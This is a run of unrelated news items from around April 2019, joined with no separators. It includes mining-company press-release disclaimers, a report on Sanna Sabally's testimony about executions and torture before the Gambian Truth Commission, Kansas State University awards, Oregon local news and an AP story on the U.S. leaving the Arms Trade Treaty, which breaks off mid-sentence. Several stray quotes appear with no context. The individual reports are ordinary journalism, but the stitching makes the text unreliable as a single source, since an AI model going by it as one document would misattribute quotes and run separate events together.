Such forward-looking information includes statements regarding the completion of the Private Placement and the intended use of proceeds therefrom, the potential for the receipt of regulatory approvals, the completion of definitive agreements, the potential of the projects to host mineralization of significance to support regional development plans, the timing and prospects for the reissuance of the Djarkadougou, Bamako and Bouni Exploration Permits by the government of Burkina Faso, plans for exploration at the South Hounde, ThreeBee and Koumandara Projects, the potential to expand the present oxide component of the existing estimated mineral resources at the South Hounde Project and the reliability of the historical estimate of mineral resources at the Bondi Deposit. Actual results, performance or achievements of the Company may vary from the results suggested by such forward-looking statements due to known and unknown risks, uncertainties and other factors. Such factors include, among others, that the business of exploration for gold and other precious minerals involves a high degree of risk and is highly speculative in nature; changes in world commodity markets, equity markets, costs and supply of materials relevant to the mining industry; change in government and changes to regulations affecting the mining industry; Mineral Resources are not Mineral Reserves, they do not have demonstrated economic viability, and there is no certainty that they can be upgraded to Mineral Reserves through continued exploration; few properties that are explored are ultimately developed into producing mines; geological factors; the actual results of current and future exploration; changes in project parameters as plans continue to be evaluated, as well as those factors disclosed in the Company's publicly filed documents. There can be no assurance that any mineralisation that is discovered will be proven to be economic, or that future required regulatory licensing or approvals will be obtained. However, the Company believes that the assumptions and expectations reflected in the forward-looking information are reasonable. Assumptions have been made regarding, among other things, Acacia's continued funding of exploration activities, the Company's ability to carry on its exploration activities, the sufficiency of funding, the timely receipt of required approvals, the price of gold and other precious metals, that the Company will not be affected by adverse political events, the ability of the Company to operate in a safe, efficient and effective manner and the ability of the Company to obtain further financing as and when required and on reasonable terms. Readers should not place undue reliance on forward-looking information. Sarama does not undertake to update any forward-looking information, except as required by applicable laws. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. QUALIFIED PERSONS' STATEMENT Scientific or technical information in this disclosure that relates to the Company's exploration activities in Burkina Faso is based on information compiled or approved by Guy Scherrer. Guy Scherrer is an employee of Sarama Resources Ltd and is a member in good standing of the Ordre des Geologues du Quebec and has sufficient experience which is relevant to the commodity, style of mineralisation under consideration and activity which he is undertaking to qualify as a Qualified Person under National Instrument 43-101. Guy Scherrer consents to the inclusion in this disclosure of the information, in the form and context in which it appears. Scientific or technical information in this disclosure that relates to the preparation of the South Hounde Project mineral resource estimate is based on information compiled or approved by Adrian Shepherd. Adrian Shepherd is an employee of Cube Consulting Pty Ltd and is considered to be independent of Sarama Resources Ltd. Adrian Shepherd is a Chartered Professional Member in good standing of the Australasian Institute of Mining and Metallurgy and has sufficient experience which is relevant to the commodity, style of mineralisation under consideration and activity which he is undertaking to qualify as a Qualified Person under National Instrument 43-101. Adrian Shepherd consents to the inclusion in this disclosure of the information, in the form and context in which it appears. Scientific or technical information in this disclosure, in respect of the Bondi Deposit relating to mineral resource and exploration information drawn from the Technical Report prepared for Orezone on that deposit has been approved by Guy Scherrer. Guy Scherrer is an employee of Sarama Resources Ltd and is a member in good standing of the Ordre des Geologues du Quebec and has sufficient experience which is relevant to the commodity, style of mineralisation under consideration and activity which he is undertaking to qualify as a Qualified Person under National Instrument 43-101. Guy Scherrer consents to the inclusion in this disclosure of the information, in the form and context in which it appears. Scientific or technical information in this disclosure that relates to the quotation of the Karankasso Project's mineral resource estimate is based on information compiled by Paul Schmiede. Paul Schmiede is an employee of Sarama Resources Ltd and is a Fellow in good standing of the Australasian Institute of Mining and Metallurgy. Paul Schmiede has sufficient experience which is relevant to the commodity, style of mineralisation under consideration and activity which he is undertaking to qualify as a Qualified Person under National Instrument 43-101. Paul Schmiede consents to the inclusion in this disclosure of the information, in the form and context in which it appears. Paul Schmiede and Sarama have not independently verified Savary's mineral resource estimate and take no responsibility for its accuracy. VANCOUVER, April 26, 2019 /CNW/ - Euromax Resources Ltd., April 26, 2019 (TSX: EOX): Euromax Resources Ltd. (Euromax or the Company) is aware that Solway Investment Group GmbH yesterday issued a press release regarding a proposal relating to the Company, which proposal has been received and considered by the Company. As set out in the Company's news release of March 22, 2019, the Company has entered into a legally binding private placement financing with one of its current major shareholders, Galena Resource Equities Limited, an entity controlled and managed by Galena Asset Management S.A., which is an affiliate of Trafigura Pte Ltd., for gross proceeds of CAD$9,188,040 (USD$6,900,000) and with two other existing shareholders of the Company for gross proceeds of CAD$1,102,565 (USD$828,000) (collectively, the Transaction). Closing of the Transaction is subject to the satisfaction of certain conditions, of which the only material outstanding condition is the approval of the Macedonian Commission for Competition (the Macedonia Competition Approval). The Company has applied for the Macedonia Competition Approval and the approval process is currently underway. The Company has no reason to believe that it will not obtain the Macedonia Competition Approval within the time frame previously indicated. The Company will provide an update once the Macedonia Competition Approval has been obtained and the Transaction has closed. In light of the Transaction, the Company is not further exploring the Solway proposal at this time and does not intend to comment further unless otherwise appropriate or required by law. About Euromax Resources Ltd. Euromax is a minerals development company whose corporate strategy is centered on the development of the Ilovica-Shtuka Project, the company's core copper and gold development project located in Macedonia. Euromax, through its local subsidiaries, has been involved in the exploration and development of a number projects in south-eastern Europe since January 2011. Forward-Looking Information This news release contains forward-looking information. Forward-looking statements include, but are not limited to the completion of the Transaction, the use of proceeds from the Transaction, implementation of the amendments to the Company's outstanding convertible debentures as detailed in the Company's press release dated March 22, 2019 (the Debenture Amendments), the continued advancement of the Company's general business plan and the development of Ilovica-Shtuka Project, and the receipt of all necessary government approvals and consents. When used in this press release, the words "will", "shall", "anticipate", "believe", "estimate", "expect", "intent", "may", "project", "plan", "should" and similar expressions may identify forward-looking statements. Although Euromax believes that their expectations reflected in these forward looking statements are reasonable, such statements involve risks and uncertainties and no assurance can be given that actual results will be consistent with these forward-looking statements. Important factors that could cause actual results to differ from these forward-looking statements include, but are not limited to, the possibility that the Transaction will not be completed as contemplated, or at all, because the necessary regulatory approvals, including the Macedonian Competition Approval, are not received or other conditions to completion of the Transaction are not satisfied, the possibility that the Company has to allocate proceeds to other uses or reallocate proceeds differently among the anticipated uses due to changes in project parameters or other unforeseen circumstances associated generally with the unpredictability of mining operations, the ability of the Company to come to definitive agreements with the holders of debentures with respect to the implementation of the Debenture Amendments, the ability to implement corporate strategies, the ability to obtain financing as and when required and on reasonable terms, the risk that the development of the Project may not proceed as anticipated, including the inability to obtain necessary government approvals for its activities in a timely manner, political or economic instability in the jurisdiction in which the Ilovica-Shtuka Project is located, changes in national and local government legislation, regulation, and taxation, and other risks disclosed in our filings made with Canadian securities regulators available on SEDAR at www.sedar.com. This list is not exhaustive of the factors that may affect any of Euromax's forward-looking statements. Investors are cautioned not to put undue reliance on forward-looking statements. Forward-looking statements contained herein are made as of the date of this news release and Euromax disclaims any obligation to update any forward-looking statements, whether as a result of new information, future events or results or otherwise, except as required by applicable securities laws. Im not a sales person, I dont work on a commission, Ceplo explained. I dont do any selling here because the sales already have been done by the time someone comes here to pick up their car. I just help them through the process of getting the car when they come here. He has been a long lost voice and face. The last message from him to the public in Gambia was to announce the death of soldiers who had reportedly died in a firefight during a counter-coup on November 11, 1994. More than 24 years ago. Since then Sanna Bairo Sabally was never heard on a Gambian television channel or public radio. Then, in split second, on April 24, he appeared before the Truth, Reconciliation and Reparations Commission that is investigating the human rights violations of former president Yahya Jammeh and his colleagues, including Sabally, between the coup that led them to power in July 1994 and the end of the military regime in January 2017. Everything in the country literally came to a halt. Sanna Saballys voice was ubiquitous on radio, television and online. The two small halls of the TRRC that take about 20 people each were full to capacity. Gambia had a rendez-vous with history. The Geneva Conventions? Forget it There have been high-profile and resounding testimonies before this Commission since it opened its public hearings on January 7. But this was the biggest catch. Here was the self-righteous, self-styled former vice-chairman of the Armed Forces Provisional Ruling Council, a key member of a once feared military leadership. And as the last time he spoke in Gambia was about the November 11, 1994 counter-coup, Sabally was now asked to tell what happened and explain why two dozens of soldiers died, including eleven through summary execution, on that day. The Geneva Conventions on the rules of war, Sabally first said in regard of the treatment of the coup plotters, do not operate anywhere in this world, forget it. This was how he justified the killing of the soldiers, causing particular shock to the chairman of the TRRC, Lamin Sise. In his voice was candor which could in fact be mistaken for the arrogance that many remembered. Even a repentant Sabally needed convincing on why enemies who posed threats to their captors ought not to be executed. There is no small enemy, he said, they too were going to kill us if their coup had succeeded. But this was Sabally playing fast and loose with a truth he would ultimately acceptthe fact that their actions on November 11 was wrong. This was a crime he would admit was regrettable and for which he would apologize. Yahya Jammehs order to kill Many witnesses before the TRRC have described Sanna Sabally as immature and ruthless. Until this day, what was known of him and the little memory people had of him had made it impossible to imagine him before the 11 commissioners of the Truth commission and lead counsel Essa Faal. Some even got worried for his own safety: one of the people Sabally ordered to be tortured mercilessly is the current commander of the Gambian army Mamat Cham. I accept responsibility because I was the commander, Sabally said eventually of the November 11 killings. But he was not the only one responsible. Though Sabally led the executions, he said the decision to kill soldiers was agreed upon by all members of the Ruling Council with orders from Yahya Jammeh. Sabally confirmed what former chief of staff of Jammeh, Demba Njie, said to the Commission earlier, that Yahya Jammeh orders were: Kill them all, the ring leaders. In July 1994, Yahya Jammeh (red beret), Edward Singhateh (sunglasses) and Sanna Sabally (holding Singhatehs hand) celebrated their military coup. Today they are accused of torture and executions before the Truth Commission. Before the TRRC, what goes around comes around At the time Sabally was fearful. Most people say he was more fearful than Jammeh himself. In Saballys bright days, no one would have him for an enemy. But Sabally did not want the military to stay in power for more than the agreed six months. And in January 1995, he was arrested by Yahya Jammeh. With him was Sadibu Hydara, a member of the military junta who also took part in the November 11 executions. The two were to be severely tortured to make forced confessions. What goes around comes around, Sabally told Essa Faal. In the earlier days of the military takeover, Saballys orderlies were involved in torturing citizens who were not quick enough to leave the road as his convoy passed. There were at least nine incidents where his orderlies tortured, shot at people or at car tyres. One of the victims was Alo Bah, a food vendor who was reportedly shot by a guard from Saballys convoy. On April 24, Alo Bah was in the room when Sabally was testifying. The former powerful vice-chairman of the military junta left his seat and walked to her. He admitted responsibility of these actions and apologized before the cameras. According to Sabally, the torture he personally endured was overseen by Alagie Martin, who is currently a general in the Gambian army. They wanted him to confess that he wanted to kill Yahya Jammeh and he refused. They used water-boarding and mock-execution where they buried him to his neck in order to solicit information from him. They drove a needle into his penis and electrocuted him. They hanged him on top of a metal rod that would penetrate his anus if he got weak. They brought two women before him he was fond of to be tortured so that he broke. They drove banana and other things into his private parts so that he confessed. They ordered him and Hydara and others to have sex with each other. When they refused, they said [that] since we did not want to have sex, we will be castrated. That was the time they put Sadibu [Hydara]s testicles on an iron bar and hit it with a hammer. There was blood everywhere, said Sabally. Sanna Sabally: I came out of the prison not bitter but better At that point, for the first time in public, the seemingly unbreakable one-time urban legend broke. Sabally paused for a while and sobbed. Sadibu died in my hands on the 6th of June, [at] 16:17. Sadibu is part of me, said Sabally. Sadibu Hydara died in jail of natural causes, according to the junta that he had served. This was a lie, said Sabally. His friend died as a result of torture. Before he died, Sabally testified, Sadibu told me: what do you do with people who do not know where you stand for them? The answer Sabally eventually found was to forgive. He had survived the torture, without speaking into the voice recorders the words that his former comrades had solicited. He said he had been disappointed with the behavior of his new enemies, the Ruling Council members. But he had forgiven them, from the day he had left the prison. Sabally was eventually released in 2005 and left the country for Senegal. He subsequently went to Germany where he was trained to become a doctor. Part of his expertise is to deal with trauma patients. He even offered free counselling for people he had victimized if they would be willing. He now lives in Senegal. The testimony on the torture meted at him resonated with many Gambians. Even people who were angry with him came sympathizing. A man who once treated the Geneva Conventions with contempt as an unrealistic document had learned the wrongs of his past in the most gruesome way. I wished I knew at the time what I knew today, Sabally said. I [learned] wisdom and patience. That is why I came out of the prison not bitter but better, he repeated not bitter but better. Apologies and forgiveness Not only did he apologize, he was also forgiven by Matty Sallah, the wife of Abdoulie Bah, one of the soldiers killed on November 11. As he ended his two-day testimony, a message came from Sallah through the TRRC lead counsel. I Matty Sallah, the late Abdoulie Bahs wife, has forgiven wholeheartedly [Sanna Sabally] for his honesty and truthfulness for the crime he committed, she wrote. This is the spirit we try to encourage, concluded the chair of the Commission Lamin Sise. After two days of a testimony that made history, public hearings before the TRRC are suspended and will resume on June 10, after Ramadan. But its investigations wont stop. Outstanding students, Wildcat Pride honors announced at 33rd annual Kansas State Polytechnic awards banquet Kansas State Polytechnic holds its 33rd annual Awards and Recognition Banquet April 18 to honor students, faculty and staff with special accolades such as the Wildcat Pride Awards. The academic achievements, positive attitudes, and valuable impacts of Wildcats on the Kansas State University Polytechnic Campus were highlighted and honored during an annual celebration marking the end of the school year. Kansas State Polytechnic's 33rd annual Awards and Recognition Banquet brought together students, faculty and staff April 18 to spotlight the winners of a variety of accolades, including the most outstanding student in each degree option and the coveted Wildcat Pride Awards. Many of the categories were open for nominations from anyone on campus and were decided upon by an established committee. The recipients of the Outstanding Academic Student Awards were selected by faculty in each degree area. In addition, student groups such as Residence Life staff, peer tutors, student ambassadors, and Student Governing Association members were thanked for their campus contributions. In all, more than 30 honors were handed out and over 120 people attended. The event was organized by a student committee Nick Harries, senior in UAS flight and operations; Jacob Kraus, freshman in professional pilot; Logan Ragsdale, freshman in professional pilot; Taya Smith, senior in social work; and Shanna Walker, junior in technology management with Alexander Curry, freshman in airport management and professional pilot, at the helm as committee chair. Julie Rowe, student activities and career center coordinator, served as their mentor and says this awards banquet is special because, along with recognizing students for what they do in the classroom, who they are as a person also is emphasized. "What strikes me most by the type of awards we present is that they spotlight character traits, like determination, service, dedication, worth ethic, and inspiration," said Rowe. "While most of us do not work for the purpose of being rewarded, when someone notices our efforts, it feels pretty darn good. It communicates that you're seen and you're valued. There are a lot of Wildcats on this campus who should be proud of their contributions, academically and personally." The honors that notably focus on character traits are called the Wildcat Pride Awards and they are given to four students who display attributes of community service, determination, dedication and inspiration. RaeLynn Roe, junior in social work, Salina, is the recipient of the Wildcat Pride Award for Community Service primarily because of her leadership of and commitment to Cats' Corner, a place on campus where any student can receive extra support of food, hygiene items and professional clothing. The award's purpose is to recognize a student who is aware of a community's needs and understands the civic responsibility of serving the community. Cats' Corner was developed and implement by Roe because she and her faculty mentor, Rowe, learned that many Wildcats have food insecurity. Roe manages the operation during her free time from class and her jobs and does not get paid. According to one of her nominators, Roe's service has "benefited countless students and changed lives" and she does it all "humbly behind the scenes." Frederic Peters, a senior in airport management, Saint Marys, was given the Wildcat Pride Award for Determination, which is presented to a student who shows a quality of firmness in beliefs and actions, doesn't quit until an answer or decision is reached, and pursues life by focusing on achieving a goal with passion. According to his nominator, Peters is both determined to earn a degree and be engaged while in school. He is a member of Student Support Services and has been active in the student chapter of American Association of Airport Executives, or AAAE. Peters works full time to pay for college and has been working toward a goal of graduating debt free. At one point during his college career, he took time off to earn money to pay for his tuition, and now, in his final semester, Peters has been getting up at 3 a.m. to go to work before traveling more than an hour for classes on campus. John Decker, sophomore in social work, Salina, earned the Wildcat Pride Award for Dedication, which recognizes a student who goes above and beyond normal duties and is committed to a particular course of thought or action. Decker is a full-time student, father and the main provider in his family. His nominator says he is dedicated to the field of social work through his studies, involvement in the Social Work Wildcats student club, and his own charity, which he started in honor of his son. The Owen Decker Foundation helps families with basic needs like food and clothing while one of their children is in the hospital. Decker and his family experienced a similar situation when Owen was in the hospital and Decker felt torn between being with his son and having to work to make ends meet. The Owen Decker Foundation has raised $3,000 so far and just recently, assisted its first family in need. Jacob Cowart, junior in UAS flight and operations, Horton, is the recipient of the Wildcat Pride Award for Most Inspirational student. This award honors a student who inspires others to achieve the highest level at which they are capable, and epitomizes the qualities of determination, dedication and service. This student must also maintain a GPA of 2.5 or above. Cowart, who has been wheelchair bound most of his life, is required to obtain a manned private pilot certificate as part of the UAS flight and operations curriculum. In order to do this, he had to track down a special hand control that could be mounted on one of the campus's airplanes. He searched for the part himself, traveled to Texas to pick it up, and in the time it took for the Federal Aviation Administration to examine and approve the hand control installation, his temporary medical expired, so he had to renew it. According to Cowart's nominator, he went to great lengths to make his dreams come true and never once gave up when the process of trying to fly was complicated. Below is a list of other winners from Kansas State Polytechnic's 33rd annual Awards and Recognition Banquet. Outstanding Academic Student Awards Airport Management: Nicole Johnson. Applied Business: Westin Shehi. Aviation Maintenance Management: Lane Shoemaker. Chemistry: Austin Kuhlman. Computer Systems Technology: Austin Kuhlman. Digital Media Technology: Justin Zamecnik. Electronic and Computer Engineering Technology: Chance Harapat. Expository Writing: Levi Unruh, Samuel Haynes and Paul Gebhardt. Mechanical Engineering Technology: Matthew Haugh. Professional Master of Technology: John-Paul Hood. Professional Pilot: Avery Lambden. Robotics and Automation: Garry Parzych. Social Work: Jamie Womochil. Technology Management: Hannah Schulte. UAS Flight and Operations: Kurtis Liles. UAS Design and Integration: Jeremy Spink. Web Development Technology: Nicholas Crombie. Outstanding Campus Awards Advisor/Faculty Mentor of the Year: Kebby Underwood. Club Advisor of the Year: Karen Morrison. Faculty Member of the Year: Fred Guzek. Larry Caldwell Good Sportsmanship: Philip Wolf. Outstanding Staff of the Year: Travis Balthazor. Student Employee of the Year: Mike Kuni. Student Organization of the Year: UAS Club. All-university Awards Dean of Student Life Outstanding Graduating Senior: Jacob Rose. University Student Employee of the Year Finalist: Jacob Rose. Three high school seniors earn Kansas State University's Presidential Scholarship Friday, April 26, 2019 MANHATTAN Kansas State University has awarded the Presidential Scholarship, the largest scholarship award in the state, to three high school seniors from Kansas and Missouri. Winners of the $20,000-per-year Presidential Scholarship, worth $80,000 over four years, are Anastacia Mendoza, Lenexa, a senior at St. James Academy; Nathan Hassed, Overland Park, a senior at Blue Valley North High School; and Maria Hazelbaker, Wentzville, Missouri, a senior at St. Dominic High School. Mendoza is the winner of the Vanier Family Business Administration Best of Kansas Presidential Scholarship, which is for students who plan to choose a major in the College of Business Administration. The scholarship competition was Jan. 28 at the Kansas State University campus in Manhattan. The university received 229 applications, and a selection committee chose 10 student finalists to interview for a general Presidential Scholarship and five students to interview for the Presidential Scholarship for the College of Business Administration. As the largest and most selective scholarship award made by Kansas State University, the Presidential Scholarship seeks to recognize students who have been truly outstanding, both academically and as student leaders, during their high school career. "Our Presidential Scholarship awardees build upon the K-State tradition of achievement and student success," said Richard Myers, president of Kansas State University. "Their meaningful contributions to the university and society will make them phenomenal additions to the K-State family and we look forward to welcoming them to campus." Pat Bosco, vice president for student life, said the selection of the scholarship recipients was extremely difficult but rewarding. "It is through generous support of our alumni that these scholarships are made possible," Bosco said. "Given what these winners and finalists have already accomplished, the future of K-State and our nation is in very good shape." Finalists for Kansas State University's Presidential Scholarship program include the following high school seniors: From Greater Kansas City: Logan George, Olathe, a senior at Olathe South High School; Leyton Rebori, Overland Park, a senior at Rockhurst High School; Adam Sweat, Overland Park, a senior at Olathe East High School; and Gabriel Whitehair, Overland Park, a senior at Blue Valley North High School. Dominic Victor, Linn Valley, a senior at Prairie View High School; Tess Fairbanks, Onaga, a senior at Onaga High School; William Baker, Topeka, a senior at Washburn Rural High School; and Sara Haggard, Topeka, a senior at Perry-Lecompton High School. From out-of-state: Delainey Dow, Castle Rock, Colorado, a senior at Castle View High School; Brock Mullen, Parker, Colorado, a senior at Chaparral High School; and Kyle Winter, Flower Mound, Texas, a senior at Flower Mound High School. The 2018-2019 Presidential Scholarships are made possible by support from alumni and friends. The awards include the Mike and Becky Goss Presidential Scholarship, funded by Mike and Becky Goss, Westport, Connecticut; the Mary L. Vanier Presidential Scholarship, funded by Mary L. Vanier, Manhattan; and the Vanier Family Business Administration Best of Kansas Presidential Scholarship, funded by members of the Jack Vanier family of Salina, Brookville and Manhattan. In my initial interview, I told you, If you hire me, you have to be ready to fight, Pruitt-Adams said to board members. Thank you to those who have been in this community fighting for a long time and fighting for the rights for students who are long gone from this institution who did not get what they deserved or were entitled to. We took the hammer and were knocking the first brick out of that wall thats served as a barrier for so long. The Republican spending plan increases base school funding by 2.5% each of the next two years. But Democrats and some education advocacy groups criticized it as not doing enough to help schools while shortchanging needed programs, such as subsidies to adoptive parents and youth suicide prevention programs. The best way to get that courage, Young said, is for the child to reach out to someone they trust. It should be their parents, preferably, but if it cant be for whatever reason, they should keep trying until they find someone on whom they feel they can rely. UPDATE: 216 cars attended the 16th Annual Thomas Ussary Memorial Car Show. Close to $7,000 was raised to provide CTE college scholarships and travel to SkillsUSA state and national events. EAGLE POINT, Ore. Saturday, April 27th is the 16th Annual Thomas Ussary Memorial Car Show and Jerry Dorman Memorial Motorcycle Show at Eagle Point High School. Registration starts at 8a.m. and goes until 10a.m. The event is expected to conclude around 2p.m. with an awards ceremony. During the after noon there will be a parts swap meet, 25 different classes and a post-show fun run. All of the proceeds from the even will help Eagle Point High Schools students go to nationals and compete in Skills USA Events in Louisville, Kentucky and will provide over 9 scholarships for students in Transportation Technology and other CTE programs at Eagle Point High School. GRANTS PASS, Ore. -- A 40-year-old man was arrested in Grants Pass around 8p.m. on April 26th for throwing rocks through car windows near NE Beacon Dr. Dawayne H. Madden is facing multiple charges, including criminal mischief and disorderly conduct. At 12:11am on the same night, officers responded to a report of multiple subjects fighting in the same area. Initial reports indicated suspects were potentially armed with a pipe and/or a hatchet. When Officers arrived at the scene, they found 32 year old Jeremy Mellow with head injuries. Jeremy was transported to Three Rivers Medical Center, where he was treated for non-life threatening injuries. According to police, other suspects fled the scene before police arrived. One of the suspects was identified as Dawayne H. Madden. The investigation revealed Madden and another male returned to the location after Madden was released from jail on the previous Criminal Mischief case. Madden was involved in a physical fight with Jeremy Mellow. During the fight, Madden hit Mellow on the head with an object similar to a pipe. During the fight a backflow device for the Goodwill store was damaged, causing a substantial water leak. The City of Grants Pass Water Department responded to shut off the water. Madden was later located, arrested a second time and charged with assault. KLAMATH FALLS, Ore. Frustration is mounting for many in the Klamath Falls community and beyond whose family members are interred at Eternal Hills Memorial Park in Klamath Falls, a site increasingly fallen into disrepair. Two years ago, the cemetery's owners filed for bankruptcy. Since then, if not before, there has been little in the way of upkeep that hasn't been organized by volunteers. Letter from Donna Day to state Rep. E. Werner Reschke: Dear Representative Reschke, I know that you have a lot on your plate right now with everything that is going on at the state level. These issues are a great concern of mine too. Today I am writing you as a concerned citizen over the current state of Eternal Hills Cemetery. It is my understanding that the issue began in 2016 when the Mortuary Board ended the investigation into the practices of the owner and staff at the facility and revoked the license that had been issued to operate. As of this week the property is still the subject of a state mandated bankruptcy, which is 3 years later. Sir, I no longer live in Klamath County, and only found out about the condition of the cemetery on Saturday, April 20th, and I was shaken to my core seeing it for the first time since 2010. I kindly ask you to do what you can to expedite these bankruptcy proceedings so that the property may be sold to a reputable interment company. I would also ask that you intercede with the trustee on the behalf of the families to get the grounds maintained by getting the water be turned back on whether that is city water or the irrigation district, and that a pest control company be allowed to come in for the critters that are destroying the grounds. I know that currently there is no funding, including a go fund me account set up for any maintenance; I and many others would happily donate to see our families place of rest be restored to what it once was. There is a group who has a Facebook page Eternal Hills Cemetery Cleanup Group they are dedicated Klamath County citizens who have been working to keep the cemetery clean, and deserve a lot of praise for their dedication, time and efforts. I am praying that you will do what you can to help with this incredibly sad situation, that is absolutely out of the control of the families. Here is a link to the Herald and News post that I made on Easter, and the facebook page of the wonderful group that is cleaning up. Thank you for your time and consideration in this matter, Donna Day At present, Eternal Hills is in a sorry state. Nearly all of the grass is dead. At least one grave has entirely caved in, and holes produced by water and tenacious ground squirrels have gone untouched. Headstones and memorial casks have been vandalized or stolen several times, and there is no one regularly tasked with cleaning up garbage or debris. The words "terrible," "disrespectful" and "wrong" don't even begin to cut it, according to Claudia Sharp and Della Jones. "It's very sad . . . look at this," said Sharp. "How can you even call this a cemetery? It's garbage. No grass, nothing. It's just absolutely horrifying." Sharp's son Adam was murdered eight years ago. Now he rests at Eternal Hills. But according to Sharp, the problems began well before the owners' bankruptcy. "I've had nothing but trouble. The first year he was here, his grave was sunken in and I made them fix it," Sharp said. Sharp and Jones said that they have a relative that was supposed to be buried next to Adam. The cemetery staff buried her somewhere else, they said, and they have yet to find her. "You just want to cry when you come out here, because so many graves are so bad that you can see the caskets," said Jones. James Garland told NewsWatch 12 that he's one of the luckier ones his mother's grave site and the plot he's eyed for himself aren't in terrible shape . . . but seeing the state of it all brings him to tears. "Let's get this taken care of out here. It's not right!" Garland said. With no one paid to care for the lawn, community members don't just leave flowers they take care of the mowing themselves. All of this was supposed to be accounted for in the "eternal care package" for which these families paid. Since the sprinklers don't run either, Karen Barnett brings buckets of water to her daughter's grave to keep the area green amongst all the brown. "It's heartbreaking. It's just very very sad that people aren't taking care of it. It's like there is no respect for those who have passed," said Barnett. "There are people who have bought plots here and they are still alive and they're expecting it to be nice because they paid for it. And it isn't happening." Everyone seems to hope that Klamath County or the State of Oregon can step in to return Eternal Hills to its former glory or at least its basic dignity. But the property's legal status remains in limbo, tied up in protracted bankruptcy court battles and apparently passed into the purview of a local trustee. On Thursday morning, NewsWatch 12 reached out to the state of Oregon's Mortuary Board, which has been involved in the ongoing Eternal Hills legal saga, for information on the site's current status. They did not respond prior to this article's publishing. Donna Day lives in McMinnville, but she recently came back to Klamath Falls and visited Eternal Hills to pay her respects to relatives buried there. What she saw there appalled her and it was a picture she had posted to Facebook showing a crumbled, caved-in grave site that inspired NewsWatch 12 to reach out. Day said that she had penned an email to state Representative E. Werner Reschke, whose district includes Klamath Falls, and she wanted to share that information with NewsWatch 12's audience. "I think it's the only way for this to come to a timely end," Day said. Her letter may be read in the sidebar [right]. MEDFORD, Ore. -- Members of the Medford Education Association (MEA) are calling on the Medford School District to cancel school May 8 for a statewide teacher walkout. It's called #RedForEd, and calls for additional funding for Oregon schools. Debbie Simons, the human resources director for the district, says the district supports calling for additional funding, but says it's not planning on canceling school for the walkout. "The district should be able to have predictable funding that they can count on," Simons said. But she added, "The district has been working collaboratively with MEA to try and find a solution that will allow us to continue to provide school on that day." Troy Pomeroy, the president of MEA, says it's vital for teachers to join the statewide movement. "Things didn't get better with the legislature making good decisions for funding education until teachers took a stand statewide," Pomeroy said. "So this is not a Medford thing; it's an Oregon thing." He adds he realizes canceling school can be difficult for some families, and says they let the school district know months in advance about their intent to walk out. "We're not walking out on our students,"Pomeroy said. "We are walking out for students, because if we don't do this, then their education suffers." The school district says they are continuously monitoring the situation. If it does cancel school, it will be treated like a snow day. The district would add June 6 as a school day. In the case school is cancelled because enough teachers walk out, Simons says it's working to make sure it can still provide meals and additional programming to families who need them. "We do have a commitment from our classified staff that they will be at work onMay 8th," Simons says. "So we know we have that commitment from staff and, frankly, from a lot of our teachers." When the North Koreans handed over Otto Warmbier in 2017, they also handed over something else: a $2 million bill for his medical care. This shocking revelation came from two people familiar with the situation. North Korea insisted the US sign a pledge to pay the bill before releasing Warmbier, an American college student who was held by the North as a prisoner. He died a few days after making it home. President Trump was later told about the bill, but as of yet, it has not been paid. The North Koreans didn't bring up the bill during Trump's two summits with Kim Jong Un, but it could come up at future talks. By JILL COLVIN and LISA MARIE PANE Associated Press INDIANAPOLIS (AP) In a largely symbolic gesture to a group that helped him win the White House, President Donald Trump said Friday he is pulling the U.S. back from an international agreement on the arms trade, telling the National Rifle Association the treaty is "badly misguided." 'Were taking our signature back,' Trump announces U.S. withdrawal from U.N. arms treaty at the NRA's annual meeting https://t.co/Lkb1f1h3xD pic.twitter.com/DG6nSJIPUr Reuters Top News (@Reuters) April 26, 2019 .@realDonaldTrump pulling the U.S. out of yet another arms control treaty undermines our national security and makes for a more dangerous world. Leaving the Arms Trade Treaty that limits global trafficking in lethal weapons to get applause from the @NRA is reckless and shameful. Nancy Pelosi (@SpeakerPelosi) April 26, 2019 Trump made the announcement at the NRA's annual convention, where he vowed to fight for gun rights and implored members of the nation's largest pro-gun group struggling to maintain its influence to rally behind his re-election bid. "It's under assault," he said of the constitutional right to bear arms. "But not while we're here." With pro-gun legislation largely stalled in Congress and few deliverables during Trump's term so far, the president told the group that he would be revoking the United States' status as a signatory of the U.N. Arms Trade Treaty, which regulates the multibillion-dollar global arms trade in conventional weapons, from small arms to battle tanks, combat aircraft and warships. President Barack Obama signed the pact, which has long been opposed by the NRA, in 2013. But it has never been ratified by U.S. lawmakers. "Under my administration, we will never surrender American sovereignty to anyone," Trump said, before signing a document on stage directing the Senate to halt the ratification process. "We will never allow foreign diplomats to trample on your Second Amendment freedom." "I hope you're happy," he told the group, then appeared surprised by the cheers. "I'm impressed," he said. "I didn't think too many of you would really know what it is." His move against the treaty came as Trump sought to excite an organization that was pivotal to his victory in 2016 but, three years later, is limping toward the next election divided and diminished. And it represents just the latest in a series of withdrawals from international pacts and organizations joined by previous administrations, like the Paris climate accord and the Iran nuclear deal. Gun activists had denounced the treaty when it was under negotiation as an infringement of civilian firearm ownership, despite the well-enshrined legal principle that says no treaty can override the Constitution or U.S. laws. The treaty is aimed at cracking down on illicit trading in small arms, thereby curbing violence in some of the most troubled corners of the world. It was the first legally binding treaty to regulate the international trade in conventional arms and was overwhelmingly approved by the 193-member U.N. General Assembly in April 2013. It has been ratified by 101 countries but key arms exporters including Russia and China and major importers such as India and Egypt have given no indication that they will sign it. Advocates of tighter gun restrictions and those who had helped negotiate the treaty denounced Trump's decision Friday. Kris Brown, president of the Brady organization, said will "only embolden terrorists and other dangerous actors around the world." And Rachel Stohl, managing director of the Stimson Center and a consultant to the treaty negotiations, said: "By turning its back on multilateral diplomacy yet again, the United States is disregarding global norms and allowing nefarious actors to trade weapons with impunity." Yet Trump's showy rejection of the agreement from the stage has limited effect because it has been unlikely all along that he would send the treaty to the Senate for ratification. At the United Nations, spokesman Stephane Dujarric called the treaty "a landmark achievement in the efforts to ensure responsibility in international arms transfers" and particularly important at a time of renewed interest in expanding weapons arsenals. Trump's speech came at a troubled time for the gun rights organization, a one-time Republican kingmaker, which has been grappling with infighting, bleeding money and facing a series of investigations into its operating practices, including allegations that covert Russian agents seeking to influence the 2016 election courted its officials and funneled money through the group. As Trump landed in Indianapolis, a judge imposed an 18-month prison term on gun rights activist Maria Butina, an admitted Russian agent who, according to her plea agreement, worked with a former Russian lawmaker to use their contacts in the NRA to pursue back channels to American conservatives during the 2016 presidential campaign. While the group had high hopes for easing gun regulations after pouring hundreds of millions of dollars into 2016 